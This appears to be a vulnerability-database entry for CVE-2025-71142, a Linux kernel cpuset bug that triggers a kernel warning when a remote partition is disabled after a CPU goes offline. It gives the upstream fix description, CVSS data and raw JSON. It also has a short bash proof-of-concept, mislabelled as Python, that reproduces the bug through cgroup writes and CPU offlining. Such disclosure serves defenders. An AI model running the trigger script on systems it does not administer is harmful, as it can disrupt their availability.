CVE-2025-71142

Description

In the Linux kernel, the following vulnerability has been resolved: cpuset: fix warning when disabling remote partition A warning was triggered as follows: WARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110 RIP: 0010:remote_partition_disable+0xf7/0x110 RSP: 0018:ffffc90001947d88 EFLAGS: 00000206 RAX: 0000000000007fff RBX: ffff888103b6e000 RCX: 0000000000006f40 RDX: 0000000000006f00 RSI: ffffc90001947da8 RDI: ffff888103b6e000 RBP: ffff888103b6e000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000001 R11: ffff88810b2e2728 R12: ffffc90001947da8 R13: 0000000000000000 R14: ffffc90001947da8 R15: ffff8881081f1c00 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f55c8bbe0b2 CR3: 000000010b14c000 CR4: 00000000000006f0 Call Trace: <TASK> update_prstate+0x2d3/0x580 cpuset_partition_write+0x94/0xf0 kernfs_fop_write_iter+0x147/0x200 vfs_write+0x35d/0x500 ksys_write+0x66/0xe0 do_syscall_64+0x6b/0x390 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f55c8cd4887 Reproduction steps (on a 16-CPU machine): # cd /sys/fs/cgroup/ # mkdir A1 # echo +cpuset > A1/cgroup.subtree_control # echo "0-14" > A1/cpuset.cpus.exclusive # mkdir A1/A2 # echo "0-14" > A1/A2/cpuset.cpus.exclusive # echo "root" > A1/A2/cpuset.cpus.partition # echo 0 > /sys/devices/system/cpu/cpu15/online # echo member > A1/A2/cpuset.cpus.partition When CPU 15 is offlined, subpartitions_cpus gets cleared because no CPUs remain available for the top_cpuset, forcing partitions to share CPUs with the top_cpuset. In this scenario, disabling the remote partition triggers a warning stating that effective_xcpus is not a subset of subpartitions_cpus. Partitions should be invalidated in this case to inform users that the partition is now invalid(cpus are shared with top_cpuset). To fix this issue: 1. Only emit the warning only if subpartitions_cpus is not empty and the effective_xcpus is not a subset of subpartitions_cpus. 2. During the CPU hotplug process, invalidate partitions if subpartitions_cpus is empty.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.15:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE

Linux Kernel (具体版本需查看git commit: 5d8b9d38a7676be7bb5e7d57f92156a98dab39fb 和 aa7d3a56a20f07978d9f401e13637a6479b13bd0)

Linux Kernel cpuset cgroup subsystem < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# CVE-2025-71142 PoC - Trigger warning when disabling remote partition
# Tested on 16-CPU machine

set -e

cd /sys/fs/cgroup/

# Setup cgroup hierarchy for cpuset
mkdir -p A1
echo +cpuset > A1/cgroup.subtree_control

# Configure exclusive CPUs for parent cgroup
echo "0-14" > A1/cpuset.cpus.exclusive

# Create child cgroup and configure partition
mkdir -p A1/A2
echo "0-14" > A1/A2/cpuset.cpus.exclusive
echo "root" > A1/A2/cpuset.cpus.partition

# Offline CPU 15 - this clears subpartitions_cpus
echo 0 > /sys/devices/system/cpu/cpu15/online

# Disable remote partition - triggers WARNING
echo member > A1/A2/cpuset.cpus.partition

# Check dmesg for warning:
# WARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71142
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71142
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71142/
[4] VulDB https://vuldb.com/cve/CVE-2025-71142
[5] https://git.kernel.org/stable/c/5d8b9d38a7676be7bb5e7d57f92156a98dab39fb
[6] https://git.kernel.org/stable/c/aa7d3a56a20f07978d9f401e13637a6479b13bd0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71142", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:04.010", "lastModified": "2026-03-25T18:02:32.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpuset: fix warning when disabling remote partition\n\nA warning was triggered as follows:\n\nWARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110\nRIP: 0010:remote_partition_disable+0xf7/0x110\nRSP: 0018:ffffc90001947d88 EFLAGS: 00000206\nRAX: 0000000000007fff RBX: ffff888103b6e000 RCX: 0000000000006f40\nRDX: 0000000000006f00 RSI: ffffc90001947da8 RDI: ffff888103b6e000\nRBP: ffff888103b6e000 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000001 R11: ffff88810b2e2728 R12: ffffc90001947da8\nR13: 0000000000000000 R14: ffffc90001947da8 R15: ffff8881081f1c00\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f55c8bbe0b2 CR3: 000000010b14c000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n update_prstate+0x2d3/0x580\n cpuset_partition_write+0x94/0xf0\n kernfs_fop_write_iter+0x147/0x200\n vfs_write+0x35d/0x500\n ksys_write+0x66/0xe0\n do_syscall_64+0x6b/0x390\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\nRIP: 0033:0x7f55c8cd4887\n\nReproduction steps (on a 16-CPU machine):\n\n # cd /sys/fs/cgroup/\n # mkdir A1\n # echo +cpuset > A1/cgroup.subtree_control\n # echo \"0-14\" > A1/cpuset.cpus.exclusive\n # mkdir A1/A2\n # echo \"0-14\" > A1/A2/cpuset.cpus.exclusive\n # echo \"root\" > A1/A2/cpuset.cpus.partition\n # echo 0 > /sys/devices/system/cpu/cpu15/online\n # echo member > A1/A2/cpuset.cpus.partition\n\nWhen CPU 15 is offlined, subpartitions_cpus gets cleared because no CPUs\nremain available for the top_cpuset, forcing partitions to share CPUs with\nthe top_cpuset. In this scenario, disabling the remote partition triggers\na warning stating that effective_xcpus is not a subset of\nsubpartitions_cpus. Partitions should be invalidated in this case to\ninform users that the partition is now invalid(cpus are shared with\ntop_cpuset).\n\nTo fix this issue:\n1. Only emit the warning only if subpartitions_cpus is not empty and the\n effective_xcpus is not a subset of subpartitions_cpus.\n2. During the CPU hotplug process, invalidate partitions if\n subpartitions_cpus is empty."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ncpuset: solucionar advertencia al deshabilitar la partición remota\n\nSe activó una advertencia de la siguiente manera:\n\nWARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110\nRIP: 0010:remote_partition_disable+0xf7/0x110\nRSP: 0018:ffffc90001947d88 EFLAGS: 00000206\nRAX: 0000000000007fff RBX: ffff888103b6e000 RCX: 0000000000006f40\nRDX: 0000000000006f00 RSI: ffffc90001947da8 RDI: ffff888103b6e000\nRBP: ffff888103b6e000 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000001 R11: ffff88810b2e2728 R12: ffffc90001947da8\nR13: 0000000000000000 R14: ffffc90001947da8 R15: ffff8881081f1c00\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f55c8bbe0b2 CR3: 000000010b14c000 CR4: 00000000000006f0\nRastro de Llamada:\n \n update_prstate+0x2d3/0x580\n cpuset_partition_write+0x94/0xf0\n kernfs_fop_write_iter+0x147/0x200\n vfs_write+0x35d/0x500\n ksys_write+0x66/0xe0\n do_syscall_64+0x6b/0x390\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\nRIP: 0033:0x7f55c8cd4887\n\nPasos de reproducción (en una máquina de 16 CPU):\n\n # cd /sys/fs/cgroup/\n # mkdir A1\n # echo +cpuset > A1/cgroup.subtree_control\n # echo \"0-14\" > A1/cpuset.cpus.exclusive\n # mkdir A1/A2\n # echo \"0-14\" > A1/A2/cpuset.cpus.exclusive\n # echo \"root\" > A1/A2/cpuset.cpus.partition\n # echo 0 > /sys/devices/system/cpu/cpu15/online\n # echo member > A1/A2/cpuset.cpus.partition\n\nCuando la CPU 15 se pone fuera de línea, subpartitions_cpus se borra porque no quedan CPU disponibles para el top_cpuset, forzando a las particiones a compartir CPU con el top_cpuset. En este escenario, deshabilitar la partición remota activa una advertencia indicando que effective_xcpus no es un subconjunto de subpartitions_cpus. Las particiones deberían ser invalidadas en este caso para informar a los usuarios que la partición ahora es inválida (las CPU se comparten con top_cpuset).\n\nPara solucionar este problema:\n1. Solo emitir la advertencia si subpartitions_cpus no está vacío y effective_xcpus no es un subconjunto de subpartitions_cpus.\n2. Durante el proceso de hotplug de CPU, invalidar las particiones si subpartitions_cpus está vacío."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", " ... (truncated)